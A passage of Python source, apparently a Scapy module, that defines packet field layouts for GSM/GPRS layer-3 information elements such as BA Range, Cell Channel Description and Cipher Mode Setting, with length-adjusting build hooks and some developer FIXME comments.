10.5.1.10 """ name = "Group Cipher Key Number" fields_desc = [ XBitField("ieiGCKN", None, 4), BitField("groupCipher", 0x0, 4) ] class PdAndSapiHdr(Packet): """ PD and SAPI $(CCBS)$ Section 10.5.1.10a """ name = "PD and SAPI $(CCBS)$" fields_desc = [ BitField("eightBitPAS", None, 1), XBitField("ieiPAS", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("sapi", 0x0, 2), BitField("pd", 0x0, 4) ] class PriorityLevelHdr(Packet): """ Priority Level Section 10.5.1.11 """ name = "Priority Level" fields_desc = [ XBitField("ieiPL", None, 4), BitField("spare", 0x0, 1), BitField("callPrio", 0x0, 3) ] # # Radio Resource management information elements # # len 6 to max for L3 message (251) class BaRangeHdr(Packet): """ BA Range Section 10.5.2.1a """ name = "BA Range" fields_desc = [ BitField("eightBitBR", None, 1), XBitField("ieiBR", None, 7), XByteField("lengthBR", None), #error: byte format requires -128 <= number <= 127 ByteField("nrOfRanges", 0x0), # # rX = range X # # L o = Lower H i = higher # # H p = high Part Lp = low Part ByteField("r1LoHp", 0x0), BitField("r1LoLp", 0x0, 3), BitField("r1HiHp", 0x0, 5), BitField("r1HiLp", 0x0, 4), BitField("r2LoHp", 0x0, 4), # optional BitField("r2LoLp", None, 5), BitField("r2HiHp", None, 3), ByteField("r2HiLp", None), ByteField("r3LoHp", None), BitField("r3LoLp", None, 5), BitField("r3HiHp", None, 3), ByteField("r3HiLp", None), ByteField("r4LoHp", None), BitField("r4LoLp", None, 5), BitField("r4HiHp", None, 3), ByteField("r4HiLp", None), ByteField("r5LoHp", None), BitField("r5LoLp", None, 5), BitField("r5HiHp", None, 3), ByteField("r5HiLp", None), ByteField("r6LoHp", None), BitField("r6LoLp", None, 5), BitField("r6HiHp", None, 3), ByteField("r6HiLp", None), ByteField("r7LoHp", None), BitField("r7LoLp", None, 5), BitField("r7HiHp", None, 3), ByteField("r7HiLp", None), ByteField("r8LoHp", None), BitField("r8LoLp", None, 5), BitField("r8HiHp", None, 3), ByteField("r8HiLp", None), ByteField("r9LoHp", None), BitField("r9LoLp", None, 5), BitField("r9HiHp", None, 3), ByteField("r9HiLp", None), ByteField("r10LoHp", None), BitField("r10LoLp", None, 5), BitField("r10HiHp", None, 3), ByteField("r10HiLp", None), ByteField("r11LoHp", None), BitField("r11LoLp", None, 5), BitField("r11HiHp", None, 3), ByteField("r11HiLp", None), ByteField("r12LoHp", None), BitField("r12LoLp", None, 5), BitField("r12HiHp", None, 3), ByteField("r12HiLp", None), ByteField("r13LoHp", None), BitField("r13LoLp", None, 5), BitField("r13HiHp", None, 3), ByteField("r13HiLp", None), ByteField("r14LoHp", None), BitField("r14LoLp", None, 5), BitField("r14HiHp", None, 3), ByteField("r14HiLp", None), ByteField("r15LoHp", None), BitField("r15LoLp", None, 5), BitField("r15HiHp", None, 3), ByteField("r15HiLp", None), ByteField("r16LoHp", None), BitField("r16LoLp", None, 5), BitField("r16HiHp", None, 3), ByteField("r16HiLp", None), ByteField("r17LoHp", None), BitField("r17LoLp", None, 5), BitField("r17HiHp", None, 3), ByteField("r17HiLp", None), ByteField("r18LoHp", None), BitField("r18LoLp", None, 5), BitField("r18HiHp", None, 3), ByteField("r18HiLp", None), ByteField("r19LoHp", None), BitField("r19LoLp", None, 5), BitField("r19HiHp", None, 3), ByteField("r19HiLp", None), ByteField("r20LoHp", None), BitField("r20LoLp", None, 5), BitField("r20HiHp", None, 3), ByteField("r20HiLp", None), ByteField("r21LoHp", None), BitField("r21LoLp", None, 5), BitField("r21HiHp", None, 3), ByteField("r21HiLp", None), ByteField("r22LoHp", None), BitField("r22LoLp", None, 5), BitField("r22HiHp", None, 3), ByteField("r22HiLp", None), ByteField("r23LoHp", None), BitField("r23LoLp", None, 5), BitField("r23HiHp", None, 3), ByteField("r23HiLp", None), ByteField("r24LoHp", None), BitField("r24LoLp", None, 5), BitField("r24HiHp", None, 3), ByteField("r24HiLp", None), ByteField("r25LoHp", None), BitField("r25LoLp", None, 5), BitField("r25HiHp", None, 3), ByteField("r25HiLp", None), ByteField("r26LoHp", None), BitField("r26LoLp", None, 5), BitField("r26HiHp", None, 3), ByteField("r26HiLp", None), ByteField("r27LoHp", None), BitField("r27LoLp", None, 5), BitField("r27HiHp", None, 3), ByteField("r27HiLp", None), ByteField("r28LoHp", None), BitField("r28LoLp", None, 5), BitField("r28HiHp", None, 3), ByteField("r28HiLp", None), ByteField("r29LoHp", None), BitField("r29LoLp", None, 5), BitField("r29HiHp", None, 3), ByteField("r29HiLp", None), ByteField("r30LoHp", None), BitField("r30LoLp", None, 5), BitField("r30HiHp", None, 3), ByteField("r30HiLp", None), ByteField("r31LoHp", None), BitField("r31LoLp", None, 5), BitField("r31HiHp", None, 3), ByteField("r31HiLp", None), ByteField("r32LoHp", None), BitField("r32LoLp", None, 5), BitField("r32HiHp", None, 3), ByteField("r32HiLp", None), ByteField("r33LoHp", None), BitField("r33LoLp", None, 5), BitField("r33HiHp", None, 3), ByteField("r33HiLp", None), ByteField("r34LoHp", None), BitField("r34LoLp", None, 5), BitField("r34HiHp", None, 3), ByteField("r34HiLp", None), ByteField("r35LoHp", None), BitField("r35LoLp", None, 5), BitField("r35HiHp", None, 3), ByteField("r35HiLp", None), ByteField("r36LoHp", None), BitField("r36LoLp", None, 5), BitField("r36HiHp", None, 3), ByteField("r36HiLp", None), ByteField("r37LoHp", None), BitField("r37LoLp", None, 5), BitField("r37HiHp", None, 3), ByteField("r37HiLp", None), ByteField("r38LoHp", None), BitField("r38LoLp", None, 5), BitField("r38HiHp", None, 3), ByteField("r38HiLp", None), ByteField("r39LoHp", None), BitField("r39LoLp", None, 5), BitField("r39HiHp", None, 3), ByteField("r39HiLp", None), ByteField("r40LoHp", None), BitField("r40LoLp", None, 5), BitField("r40HiHp", None, 3), ByteField("r40HiLp", None), ByteField("r41LoHp", None), BitField("r41LoLp", None, 5), BitField("r41HiHp", None, 3), ByteField("r41HiLp", None), ByteField("r42LoHp", None), BitField("r42LoLp", None, 5), BitField("r42HiHp", None, 3), ByteField("r42HiLp", None), ByteField("r43LoHp", None), BitField("r43LoLp", None, 5), BitField("r43HiHp", None, 3), ByteField("r43HiLp", None), ByteField("r44LoHp", None), BitField("r44LoLp", None, 5), BitField("r44HiHp", None, 3), ByteField("r44HiLp", None), ByteField("r45LoHp", None), BitField("r45LoLp", None, 5), BitField("r45HiHp", None, 3), ByteField("r45HiLp", None), ByteField("r46LoHp", None), BitField("r46LoLp", None, 5), BitField("r46HiHp", None, 3), ByteField("r46HiLp", None), ByteField("r47LoHp", None), BitField("r47LoLp", None, 5), BitField("r47HiHp", None, 3), ByteField("r47HiLp", None), ByteField("r48LoHp", None), BitField("r48LoLp", None, 5), BitField("r48HiHp", None, 3), ByteField("r48HiLp", None), ByteField("r49LoHp", None), BitField("r49LoLp", None, 5), BitField("r49HiHp", None, 3), ByteField("r49HiLp", None), ByteField("r50LoHp", None), BitField("r50LoLp", None, 5), BitField("r50HiHp", None, 3), ByteField("r50HiLp", None), ByteField("r51LoHp", None), BitField("r51LoLp", None, 5), BitField("r51HiHp", None, 3), ByteField("r51HiLp", None), ByteField("r52LoHp", None), BitField("r52LoLp", None, 5), BitField("r52HiHp", None, 3), ByteField("r52HiLp", None), ByteField("r53LoHp", None), BitField("r53LoLp", None, 5), BitField("r53HiHp", None, 3), ByteField("r53HiLp", None), ByteField("r54LoHp", None), BitField("r54LoLp", None, 5), BitField("r54HiHp", None, 3), ByteField("r54HiLp", None), ByteField("r55LoHp", None), BitField("r55LoLp", None, 5), BitField("r55HiHp", None, 3), ByteField("r55HiLp", None), ByteField("r56LoHp", None), BitField("r56LoLp", None, 5), BitField("r56HiHp", None, 3), ByteField("r56HiLp", None), ByteField("r57LoHp", None), BitField("r57LoLp", None, 5), BitField("r57HiHp", None, 3), ByteField("r57HiLp", None), ByteField("r58LoHp", None), BitField("r58LoLp", None, 5), BitField("r58HiHp", None, 3), ByteField("r58HiLp", None), ByteField("r59LoHp", None), BitField("r59LoLp", None, 5), BitField("r59HiHp", None, 3), ByteField("r59HiLp", None), ByteField("r60LoHp", None), BitField("r60LoLp", None, 5), BitField("r60HiHp", None, 3), ByteField("r60HiLp", None), ByteField("r61LoHp", None), BitField("r61LoLp", None, 5), BitField("r61HiHp", None, 3), ByteField("r61HiLp", None), ByteField("r62LoHp", None), BitField("r62LoLp", None, 5), BitField("r62HiHp", None, 3), ByteField("r62HiLp", None), ByteField("r63LoHp", None), BitField("r63LoLp", None, 5), BitField("r63HiHp", None, 3), ByteField("r63HiLp", None), ByteField("r64LoHp", None), BitField("r64LoLp", None, 5), BitField("r64HiHp", None, 3), ByteField("r64HiLp", None), ByteField("r65LoHp", None), BitField("r65LoLp", None, 5), BitField("r65HiHp", None, 3), ByteField("r65HiLp", None), ByteField("r66LoHp", None), BitField("r66LoLp", None, 5), BitField("r66HiHp", None, 3), ByteField("r66HiLp", None), ByteField("r67LoHp", None), BitField("r67LoLp", None, 5), BitField("r67HiHp", None, 3), ByteField("r67HiLp", None), ByteField("r68LoHp", None), BitField("r68LoLp", None, 5), BitField("r68HiHp", None, 3), ByteField("r68HiLp", None), ByteField("r69LoHp", None), BitField("r69LoLp", None, 5), BitField("r69HiHp", None, 3), ByteField("r69HiLp", None), ByteField("r70LoHp", None), BitField("r70LoLp", None, 5), BitField("r70HiHp", None, 3), ByteField("r70HiLp", None), ByteField("r71LoHp", None), BitField("r71LoLp", None, 5), BitField("r71HiHp", None, 3), ByteField("r71HiLp", None), ByteField("r72LoHp", None), BitField("r72LoLp", None, 5), BitField("r72HiHp", None, 3), ByteField("r72HiLp", None), ByteField("r73LoHp", None), BitField("r73LoLp", None, 5), BitField("r73HiHp", None, 3), ByteField("r73HiLp", None), ByteField("r74LoHp", None), BitField("r74LoLp", None, 5), BitField("r74HiHp", None, 3), ByteField("r74HiLp", None), ByteField("r75LoHp", None), BitField("r75LoLp", None, 5), BitField("r75HiHp", None, 3), ByteField("r75HiLp", None), ByteField("r76LoHp", None), BitField("r76LoLp", None, 5), BitField("r76HiHp", None, 3), ByteField("r76HiLp", None), ByteField("r77LoHp", None), BitField("r77LoLp", None, 5), BitField("r77HiHp", None, 3), ByteField("r77HiLp", None), ByteField("r78LoHp", None), BitField("r78LoLp", None, 5), BitField("r78HiHp", None, 3), ByteField("r78HiLp", None), ByteField("r79LoHp", None), BitField("r79LoLp", None, 5), BitField("r79HiHp", None, 3), ByteField("r79HiLp", None), ByteField("r80LoHp", None), BitField("r80LoLp", None, 5), BitField("r80HiHp", None, 3), ByteField("r80HiLp", None), ByteField("r81LoHp", None), BitField("r81LoLp", None, 5), BitField("r81HiHp", None, 3), ByteField("r81HiLp", None), ByteField("r82LoHp", None), BitField("r82LoLp", None, 5), BitField("r82HiHp", None, 3), ByteField("r82HiLp", None), ByteField("r83LoHp", None), BitField("r83LoLp", None, 5), BitField("r83HiHp", None, 3), ByteField("r83HiLp", None), ByteField("r84LoHp", None), BitField("r84LoLp", None, 5), BitField("r84HiHp", None, 3), ByteField("r84HiLp", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(6, 251, a, self.fields_desc) if self.lengthBR is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 3 to max for L3 message (251) class BaListPrefHdr(Packet): """ BA List Pref Section 10.5.2.1c """ name = "BA List Pref" fields_desc = [ # FIXME dynamic BitField("eightBitBLP", None, 1), XBitField("ieiBLP", None, 7), XByteField("lengthBLP", None), BitField("fixBit", 0x0, 1), BitField("rangeLower", 0x0, 10), BitField("fixBit2", 0x0, 1), BitField("rangeUpper", 0x0, 10), BitField("baFreq", 0x0, 10), BitField("sparePad", 0x0, 8) ] # len 17 || Have a look at the specs for the field format # Bit map 0 format # Range 1024 format # Range 512 format # Range 256 format # Range 128 format # Variable bit map format class CellChannelDescriptionHdr(Packet): """ Cell Channel Description Section 10.5.2.1b """ name = "Cell Channel Description " fields_desc = [ BitField("eightBitCCD", None, 1), XBitField("ieiCCD", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), ByteField("bit120", 0x0), ByteField("bit112", 0x0), ByteField("bit104", 0x0), ByteField("bit96", 0x0), ByteField("bit88", 0x0), ByteField("bit80", 0x0), ByteField("bit72", 0x0), ByteField("bit64", 0x0), ByteField("bit56", 0x0), ByteField("bit48", 0x0), ByteField("bit40", 0x0), ByteField("bit32", 0x0), ByteField("bit24", 0x0), ByteField("bit16", 0x0), ByteField("bit8", 0x0) ] class CellDescriptionHdr(Packet): """ Cell Description Section 10.5.2.2 """ name = "Cell Description" fields_desc = [ BitField("eightBitCD", None, 1), XBitField("ieiCD", None, 7), BitField("bcchHigh", 0x0, 2), BitField("ncc", 0x0, 3), BitField("bcc", 0x0, 3), ByteField("bcchLow", 0x0) ] class CellOptionsBCCHHdr(Packet): """ Cell Options (BCCH) Section 10.5.2.3 """ name = "Cell Options (BCCH)" fields_desc = [ BitField("eightBitCOB", None, 1), XBitField("ieiCOB", None, 7), BitField("spare", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 2), BitField("rLinkTout", 0x0, 4) ] class CellOptionsSACCHHdr(Packet): """ Cell Options (SACCH) Section 10.5.2.3a """ name = "Cell Options (SACCH)" fields_desc = [ BitField("eightBitCOS", None, 1), XBitField("ieiCOS", None, 7), BitField("dtx", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 1), BitField("rLinkTout", 0x0, 4) ] class CellSelectionParametersHdr(Packet): """ Cell Selection Parameters Section 10.5.2.4 """ name = "Cell Selection Parameters" fields_desc = [ BitField("eightBitCSP", None, 1), XBitField("ieiCSP", None, 7), BitField("cellReselect", 0x0, 3), BitField("msTxPwrMax", 0x0, 5), BitField("acs", None, 1), BitField("neci", None, 1), BitField("rxlenAccMin", None, 6) ] class MacModeAndChannelCodingRequestHdr(Packet): """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """ name = "MAC Mode and Channel Coding Requested" fields_desc = [ XBitField("ieiMMACCR", None, 4), BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class ChannelDescriptionHdr(Packet): """ Channel Description Section 10.5.2.5 """ name = "Channel Description" fields_desc = [ BitField("eightBitCD", None, 1), XBitField("ieiCD", None, 7), BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x1, 1), # if h=1 maybe we find a better solution here... BitField("maioHi", 0x0, 4), BitField("maioLo", 0x0, 2), BitField("hsn", 0x0, 6) #BitField("spare", 0x0, 2), #BitField("arfcnHigh", 0x0, 2), #ByteField("arfcnLow", 0x0) ] class ChannelDescription2Hdr(Packet): """ Channel Description 2 Section 10.5.2.5a """ name = "Channel Description 2" fields_desc = [ BitField("eightBitCD2", None, 1), XBitField("ieiCD2", None, 7), BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h=1 # BitField("maioHi", 0x0, 4), # BitField("maioLo", 0x0, 2), # BitField("hsn", 0x0, 6) BitField("spare", 0x0, 2), BitField("arfcnHigh", 0x0, 2), ByteField("arfcnLow", 0x0) ] class ChannelModeHdr(Packet): """ Channel Mode Section 10.5.2.6 """ name = "Channel Mode" fields_desc = [ BitField("eightBitCM", None, 1), XBitField("ieiCM", None, 7), ByteField("mode", 0x0) ] class ChannelMode2Hdr(Packet): """ Channel Mode 2 Section 10.5.2.7 """ name = "Channel Mode 2" fields_desc = [ BitField("eightBitCM2", None, 1), XBitField("ieiCM2", None, 7), ByteField("mode", 0x0) ] class ChannelNeededHdr(Packet): """ Channel Needed Section 10.5.2.8 """ name = "Channel Needed" fields_desc = [ XBitField("ieiCN", None, 4), BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2), ] class ChannelRequestDescriptionHdr(Packet): """Channel Request Description Section 10.5.2.8a """ name = "Channel Request Description" fields_desc = [ BitField("eightBitCRD", None, 1), XBitField("ieiCRD", None, 7), BitField("mt", 0x0, 1), ConditionalField(BitField("spare", 0x0, 39), lambda pkt: pkt.mt == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.mt == 1), ConditionalField(BitField("priority", 0x0, 2), lambda pkt: pkt.mt == 1), ConditionalField(BitField("rlcMode", 0x0, 1), lambda pkt: pkt.mt == 1), ConditionalField(BitField("llcFrame", 0x1, 1), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandLsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcLsb", 0x0), lambda pkt: pkt.mt == 1) ] class CipherModeSettingHdr(Packet): """Cipher Mode Setting Section 10.5.2.9 """ name = "Cipher Mode Setting" fields_desc = [ XBitField("ieiCMS", None, 4), BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), ] class CipherResponseHdr(Packet): """Cipher Response Section 10.5.2.10 """ name = "Cipher Response" fields_desc = [ XBitField("ieiCR", None, 4), BitField("spare", 0x0, 3), BitField("cr", 0x0, 1), ] # This packet fixes the problem with the 1/2 Byte length. Concatenation # of cipherModeSetting and cipherResponse class CipherModeSettingAndcipherResponse(Packet): name = "Cipher Mode Setting And Cipher Response" fields_desc = [ BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), BitField("spare", 0x0, 3), BitField("cr", 0x0, 1) ] class ControlChannelDescriptionHdr(Packet): """Control Channel Description Section 10.5.2.11 """ name = "Control Channel Description" fields_desc = [ BitField("eightBitCCD", None, 1), XBitField("ieiCCD", None, 7), BitField("spare", 0x0, 1), BitField("att", 0x0, 1), BitField("bsAgBlksRes", 0x0, 3), BitField("ccchConf", 0x0, 3), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1), BitField("bsPaMfrms", 0x0, 3), ByteField("t3212", 0x0) ] class FrequencyChannelSequenceHdr(Packet): """Frequency Channel Sequence Section 10.5.2.12""" name = "Frequency Channel Sequence" fields_desc = [ BitField("eightBitFCS", None, 1), XBitField("ieiFCS", None, 7), BitField("spare", 0x0, 1), BitField("lowestArfcn", 0x0, 7), BitField("skipArfcn01", 0x0, 4), BitField("skipArfcn02", 0x0, 4), BitField("skipArfcn03", 0x0, 4), BitField("skipArfcn04", 0x0, 4), BitField("skipArfcn05", 0x0, 4), BitField("skipArfcn06", 0x0, 4), BitField("skipArfcn07", 0x0, 4), BitField("skipArfcn08", 0x0, 4), BitField("skipArfcn09", 0x0, 4), BitField("skipArfcn10", 0x0, 4), BitField("skipArfcn11", 0x0, 4), BitField("skipArfcn12", 0x0, 4), BitField("skipArfcn13", 0x0, 4), BitField("skipArfcn14", 0x0, 4), BitField("skipArfcn15", 0x0, 4), BitField("skipArfcn16", 0x0, 4) ] class FrequencyListHdr(Packet): """Frequency List Section 10.5.2.13""" name = "Frequency List" # Problem: # There are several formats for the Frequency List information # element, distinguished by the "format indicator" subfield. # Some formats are frequency bit maps, the others use a special encoding # scheme. fields_desc = [ BitField("eightBitFL", None, 1), XBitField("ieiFL", None, 7), XByteField("lengthFL", None), BitField("formatID", 0x0, 2), BitField("spare", 0x0, 2), BitField("arfcn124", 0x0, 1), BitField("arfcn123", 0x0, 1), BitField("arfcn122", 0x0, 1), BitField("arfcn121", 0x0, 1), ByteField("arfcn120", 0x0), ByteField("arfcn112", 0x0), ByteField("arfcn104", 0x0), ByteField("arfcn96", 0x0), ByteField("arfcn88", 0x0), ByteField("arfcn80", 0x0), ByteField("arfcn72", 0x0), ByteField("arfcn64", 0x0), ByteField("arfcn56", 0x0), ByteField("arfcn48", 0x0), ByteField("arfcn40", 0x0), ByteField("arfcn32", 0x0), ByteField("arfcn24", 0x0), ByteField("arfcn16", 0x0), ByteField("arfcn8", 0x0) ] class FrequencyShortListHdr(Packet): """Frequency Short List Section 10.5.2.14""" name = "Frequency Short List" # len is 10 #This element is encoded exactly as the Frequency List information element, #except that it has a fixed length instead of a #variable length and does not contain a length indicator and that it #shall not be encoded in bitmap 0 format. fields_desc = [ ByteField("ieiFSL", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0) ] class FrequencyShortListHdr2(Packet): """Frequency Short List2 Section 10.5.2.14a""" name = "Frequency Short List 2" fields_desc = [ ByteField("byte1", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0) ] # len 4 to 13 class GroupChannelDescriptionHdr(Packet): """Group Channel Description Section 10.5.2.14b""" name = "Group Channel Description" fields_desc = [ BitField("eightBitGCD", None, 1), XBitField("ieiGCD", None, 7), XByteField("lengthGCD", None), BitField("channelType", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h == 0 the packet looks the following way: ConditionalField(BitField("spare", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(BitField("arfcnHi", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(ByteField("arfcnLo", None), lambda pkt: pkt. h == 0x0), # if h == 1 the packet looks the following way: ConditionalField(BitField("maioHi", 0x0, 4), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("maioLo", None, 2), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("hsn", None, 6), lambda pkt: pkt. h == 0x1), # finished with conditional fields ByteField("maC6", None), ByteField("maC7", None), ByteField("maC8", None), ByteField("maC9", None), ByteField("maC10", None), ByteField("maC11", None), ByteField("maC12", None), ByteField("maC13", None), ByteField("maC14", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 13, a, self.fields_desc) if self.lengthGCD is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class GprsResumptionHdr(Packet): """GPRS Resumption Section 10.5.2.14c""" name = "GPRS Resumption" fields_desc = [ XBitField("ieiGR", None, 4), BitField("spare", 0x0, 3), BitField("ack", 0x0, 1) ] class HandoverReferenceHdr(Packet): """Handover Reference Section 10.5.2.15""" name = "Handover Reference" fields_desc = [ BitField("eightBitHR", None, 1), XBitField("ieiHR", None, 7), ByteField("handoverRef", 0x0) ] # len 1-12 class IaRestOctets(Packet): """IA Rest Octets Section 10.5.2.16""" name = "IA Rest Octets" fields_desc = [ ByteField("ieiIRO", 0x0), # FIXME brainfuck packet XByteField("lengthIRO", None), ByteField("byte2", None), ByteField("byte3", None), ByteField("byte4", None), ByteField("byte5", None), ByteField("byte6", None), ByteField("byte7", None), ByteField("byte8", None), ByteField("byte9", None), ByteField("byte10", None), ByteField("byte11", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 12, a, self.fields_desc) if self.lengthIRO is None: if res[1] < 0: # FIXME better fix res[1] = 0 p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class IraRestOctetsHdr(Packet): """IAR Rest Octets Section 10.5.2.17""" name = "IAR Rest Octets" fields_desc = [ BitField("eightBitIRO", None, 1), XBitField("ieiIRO", None, 7), BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), BitField("spare09", 0x0, 1), BitField("spare10", 0x0, 1), BitField("spare11", 0x1, 1), BitField("spare12", 0x0, 1), BitField("spare13", 0x1, 1), BitField("spare14", 0x0, 1), BitField("spare15", 0x1, 1), BitField("spare16", 0x1, 1), BitField("spare17", 0x0, 1), BitField("spare18", 0x0, 1), BitField("spare19", 0x1, 1), BitField("spare20", 0x0, 1), BitField("spare21", 0x1, 1), BitField("spare22", 0x0, 1), BitField("spare23", 0x1, 1), BitField("spare24", 0x1, 1) ] # len is 1 to 5 what do we do with the variable size? no lenght # field?! WTF class IaxRestOctetsHdr(Packet): """IAX Rest Octets Section 10.5.2.18""" name = "IAX Rest Octets" fields_desc = [ BitField("eightBitIRO", None, 1), XBitField("ieiIRO", None, 7), BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None) ] class L2PseudoLengthHdr(Packet): """L2 Pseudo Length Section 10.5.2.19""" name = "L2 Pseudo Length" fields_desc = [ BitField("eightBitPL", None, 1), XBitField("ieiPL", None, 7), BitField("l2pLength", None, 6), BitField("bit2", 0x0, 1), BitField("bit1", 0x1, 1) ] class MeasurementResultsHdr(Packet): """Measurement Results Section 10.5.2.20""" name = "Measurement Results" fields_desc = [ BitField("eightBitMR", None, 1), XBitField("ieiMR", None, 7), BitField("baUsed", 0x0, 1), BitField("dtxUsed", 0x0, 1), BitField("rxLevFull", 0x0, 6), BitField("spare", 0x0, 1), BitField("measValid", 0x0, 1), BitField("rxLevSub", 0x0, 6), BitField("spare0", 0x0, 1), BitField("rxqualFull", 0x0, 3), BitField("rxqualSub", 0x0, 3), BitField("noNcellHi", 0x0, 1), BitField("noNcellLo", 0x0, 2), BitField("rxlevC1", 0x0, 6), BitField("bcchC1", 0x0, 5), BitField("bsicC1Hi", 0x0, 3), BitField("bsicC1Lo", 0x0, 3), BitField("rxlevC2", 0x0, 5), BitField("rxlevC2Lo", 0x0, 1), BitField("bcchC2", 0x0, 5), BitField("bsicC1Hi", 0x0, 2), BitField("bscicC2Lo", 0x0, 4), BitField("bscicC2Hi", 0x0, 4), BitField("rxlevC3Lo", 0x0, 2), BitField("bcchC3", 0x0, 5), BitField("rxlevC3Hi", 0x0, 1), BitField("bsicC3Lo", 0x0, 5), BitField("bsicC3Hi", 0x0, 3), BitField("rxlevC4Lo", 0x0, 3), BitField("bcchC4", 0x0, 5), BitField("bsicC4", 0x0, 6), BitField("rxlevC5Hi", 0x0, 2), BitField("rxlevC5Lo", 0x0, 4), BitField("bcchC5Hi", 0x0, 4), BitField("bcchC5Lo", 0x0, 1), BitField("bsicC5", 0x0, 6), BitField("rxlevC6", 0x0, 1), BitField("rxlevC6Lo", 0x0, 5), BitField("bcchC6Hi", 0x0, 3), BitField("bcchC6Lo", 0x0, 3), BitField("bsicC6", 0x0, 5) ] class GprsMeasurementResultsHdr(Packet): """GPRS Measurement Results Section 10.5.2.20a""" name = "GPRS Measurement Results" fields_desc = [ BitField("eightBitGMR", None, 1), XBitField("ieiGMR", None, 7), BitField("cValue", 0x0, 6), BitField("rxqualHi", 0x0, 2), BitField("rxqL", 0x0, 1), BitField("spare", 0x0, 1), BitField("signVar", 0x0, 6) ] # len 3 to 10 class MobileAllocationHdr(Packet): """Mobile Allocation Section 10.5.2.21""" name = "Mobile Allocation" fields_desc = [ BitField("eightBitMA", None, 1), XBitField("ieiMA", None, 7), XByteField("lengthMA", None), ByteField("maC64", 0x12), ByteField("maC56", None), # optional fields start here ByteField("maC48", None), ByteField("maC40", None), ByteField("maC32", None), ByteField("maC24", None), ByteField("maC16", None), ByteField("maC8", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 10, a, self.fields_desc) if self.lengthMA is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class MobileTimeDifferenceHdr(Packet): """Mobile Time Difference Section 10.5.2.21a""" name = "Mobile Time Difference" fields_desc = [ BitField("eightBitMTD", None, 1), XBitField("ieiMTD", None, 7), XByteField("lengthMTD", 0x5), ByteField("valueHi", 0x0), ByteField("valueCnt", 0x0), BitField("valueLow", 0x0, 5), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1) ] # min 4 octets max 8 class MultiRateConfigurationHdr(Packet): """ MultiRate configuration Section 10.5.2.21aa""" name = "MultiRate Configuration" fields_desc = [ BitField("eightBitMRC", None, 1), XBitField("ieiMRC", None, 7), XByteField("lengthMRC", None), BitField("mrVersion", 0x0, 3), BitField("spare", 0x0, 1), BitField("icmi", 0x0, 1), BitField("spare", 0x0, 1), BitField("startMode", 0x0, 2), ByteField("amrCodec", 0x0), BitField("spare", None, 2), BitField("threshold1", None, 6), BitField("hysteresis1", None, 4), BitField("threshold2", None, 4), BitField("threshold2cnt", None, 2), BitField("hysteresis2", None, 4), BitField("threshold3", None, 2), BitField("threshold3cnt", None, 4), BitField("hysteresis3", None, 4) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 8, a, self.fields_desc) if self.lengthMRC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 3 to 12 class MultislotAllocationHdr(Packet): """Multislot Allocation Section 10.5.2.21b""" name = "Multislot Allocation" fields_desc = [ 